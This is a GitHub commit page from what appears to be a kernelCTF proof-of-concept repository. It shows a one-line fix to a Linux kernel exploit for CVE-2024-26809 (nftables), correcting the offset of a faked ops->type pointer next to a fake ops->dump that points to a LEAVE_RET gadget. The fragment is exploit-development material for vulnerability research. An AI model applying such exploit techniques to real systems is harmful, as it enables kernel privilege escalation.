We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 06c9916 commit be71db5Copy full SHA for be71db5
pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit
0 Bytes
pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c
@@ -285,7 +285,7 @@ void exploit(struct nl_sock *socket){
285
//fake ops->dump
286
*(uint64_t *)&pad[0x40] = kernel_off + LEAVE_RET;
287
//fake ops->type
288
- *(uint64_t *)&pad[0x78] = kernel_off + NFT_LAST_TYPE;/*the address of nft_last_type
+ *(uint64_t *)&pad[0x70] = kernel_off + NFT_LAST_TYPE;/*the address of nft_last_type
289
In function nf_tables_fill_expr_info:
290
if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
291
so we need to fake ops->type to avoid kernel crash
0 commit comments